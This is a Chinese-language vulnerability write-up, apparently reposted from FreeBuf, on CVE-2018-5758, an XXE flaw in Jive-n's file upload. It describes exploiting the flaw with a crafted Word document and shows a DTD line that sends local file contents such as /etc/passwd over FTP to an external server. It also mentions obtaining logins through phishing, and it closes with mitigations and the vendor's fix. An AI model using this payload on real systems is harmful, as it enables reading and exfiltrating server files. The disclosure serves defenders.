看我如何在Jive-n中发现了一个XXE漏洞 (CVE-2018-5758)

写在前面的话

很多渗透测试人员会对各种各样不同的服务以及应用程序进行安全测试,但他们往往会忽略自己的产品和服务。在这种情况下,他们就可能成为攻击者的首要目标,毕竟“最危险的地方就是最安全的”。在这篇文章中,我们将介绍一个我们在Jive Software的Jive-n平台中发现的一个XML外部实体注入(XXE)漏洞-CVE-2018-5758。(文中传送门及下载地址请点击阅读原文查看)

Rhino安全实验室的研究人员近期在企业员工内网通信软件Jive-n中发现了一个XML外部实体注入(XXE)漏洞,该漏洞存在于应用程序的文件上传功能中,通过上传一个嵌入了XXE Payload的微软Word文档,攻击者将能够读取目标操作系统中的任何文件和文件夹内容。

这种攻击的影响非常严重,因为Jive-n其中的一个重要功能就是帮助用户跟网络中其他用户上传/共享文件,如果你不了解XXE漏洞的话,可以参考我们之前的文章【传送门】或OWASP给出的定义【传送门_Processing)】。

背景:Jive-n和Jive Software

Jive-n是Jive Software旗下的一款产品,这款内网社交通信软件可以帮助企业员工之间通过内网进行交互。它既可以作为SaaS产品使用,也可以作为内部/自托管应用程序来使用。在我们的研究过程中,我们在Jive-n中发现了一个已激活的实例,但这个实例并没有激活使用。我们在一次钓鱼活动中获取到了登录凭证(密码复用),所以我们可以直接登录到这款App。

识别潜在的安全问题

Jive-n其中的一个功能就是上传文件并与内网中其他员工共享。在公开已上传文件之前,应用程序会尝试在页面中通过一个Flash对象来显示文件内容。在使用普通的微软office文档进行了初始测试之后,我们认为这里可能存在XXE漏洞。

XXE服务器配置

Payload首先使用了目标系统中一份本地文件路径定义了一个XML实体,然后使用一个外部实体来向我们的外部服务器发送一个HTTP请求。我们的服务器将会以文档类型定义(DTD)响应,然后命令应用程序服务器使用FTP协议向我们的外部服务器发送之前定义的XML实体(指向本地文件)。我们可以使用这个名叫“oxml_xxe”的软件【下载地址】完成这部分操作,我们的目标文件为:file:///etc/passwd。

在我们的XXE服务器(由Rhino安全研究人员开发-【传送门】)上,我们设置了一个HTTP监听器(端口80)和一个FTP监听器(端口8080),并准备正确处理传入的请求。我们所使用的DTD如下:

<!ENTITY % all "<!ENTITY send SYSTEM'ftp://our-external-server.com:8080/%file;'>">
%all;

成功利用XXE漏洞

我们的目标应用近期好像没有进行过多的操作,所以我们准备上传一个“隐藏”文件,这份Word文件不会暴露给应用程序的所有用户。Jive-n其中的一个功能就是允许用户在发布该文件之前浏览已上传文件的内容,它使用了Flash来尝试在浏览器中呈现已上传的微软Office文档内容,包括Word、Excel和PowerPoint。

一开始我们上传了恶意文档,并使用“保存草稿”功能来尝试让Jive-n呈现文档内容。虽然没有成功,但是Jive-n显示了一条错误信息以及一个“查看”或“下载”文件的选项。

一般来说,XML在这里就应该得到解析并执行Payload了,但是我们发现这里并不是这样。实际上,我们的服务器一直都没有收到请求,直到我们点击上图中的“View”(查看)选项。点击之后,Payload成功执行了,而文件内容也发送到了我们的XXE服务器上。

上图中主要发生了三件事情:

  1. 蓝色框中的内容是初始HTTP请求,由应用程序服务器发送到我们的服务器上。
  2. 绿色框中的内容是我们服务器针对该请求的响应数据。
  3. 橙红色框中的是通过FTP连接发送给我们的一小部分数据。

我们还发现,通过请求路径file:///etc/,我们可以获取到etc目录中的目录列表。

潜在的缓解方案

Jive-n的管理员可以使用反病毒软件来对用户上传的文件进行扫描,但是这种方法还不能保证是否能够检测到某些专门制作的Payload(未测试)。不过,反病毒产品可以检测到带外连接、操作系统文件被读取、或者FTP协议被使用等情况。在使用反病毒产品以及禁用XML外部实体的情况下,这种攻击的影响是可以缓解的。

厂商修复CVE-2018-5758

根据厂商提供的信息,最新版本软件即服务形式的Jive-n已经修复了这个XXE注入漏洞,并禁用了远程DTD的访问,现在程序的XML解释器已经不会再处理外部实体了,因此SaaS版本的Jive-n用户将不会再受到该漏洞的影响。

原文发布于微信公众号 - FreeBuf(freebuf)

原文发表时间:2018-03-25

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏七夜安全博客

新版知乎登录之post请求

34520
来自专栏Java架构沉思录

从一笔金币充值去思考分布式事务

考虑支付重构的时候,自然想到原本属于一个本地事务中的处理,现在要跨应用了要怎么处理。拿充值订单举个栗子吧,假设:原本订单模块和账户模块是放在一起的,现在需要做服...

12330
来自专栏java思维导图

从一笔金币充值去思考分布式事务

考虑支付重构的时候,自然想到原本属于一个本地事务中的处理,现在要跨应用了要怎么处理。拿充值订单举个栗子吧,假设:原本订单模块和账户模块是放在一起的,现在需要做服...

10840
来自专栏向治洪

android个推平台

最近有个朋友想要推送一些消息到自己的APP上,自己用了HTTP轮询的方式比较耗电,也比较占用流量,一旦用户关闭了进程,消息则很难触达,于是,咨询我有没有什么好的...

23460
来自专栏FreeBuf

新手教程:局域网DNS劫持实战

01 原理 DNS决定的是我们的域名将解析到哪一个IP地址的记录,是基于UDP协议的一种应用层协议 这个攻击的前提是攻击者掌控了你的网关(可以是路由器,交换机...

2.2K80
来自专栏蓝天

选择设置好ext3日志模式

Linux是一种开放的、因Internet而产生的操作系统。Internet的发展、以网络为中心的计算模式如电子商务被迅速接受和普及,都为 Linux提供了更巨...

12820
来自专栏Jackson0714

WCF安全1-开篇

38380
来自专栏皮振伟的专栏

[linux][storage]Linux存储栈

前言: 随着Linux的版本升高,存储栈的复杂度也随着增加。作者在这里简单介绍目前Linux存储栈。 分析: 1,storage stack ? 在用户态,可...

1.3K130
来自专栏杨建荣的学习笔记

通过shell脚本检测MySQL服务信息

第一部分是通过系统层面来解析MySQL的基本信息,方式是通过ps -ef|grep mysql得到的信息来解析。

14320
来自专栏杨建荣的学习笔记

密码管理的初步实现

之前写了一版密码管理,主要针对的是对于发送密码方面的安全考虑,今天说的这个是对于密码的统一管理。

13930

扫码关注云+社区

领取腾讯云代金券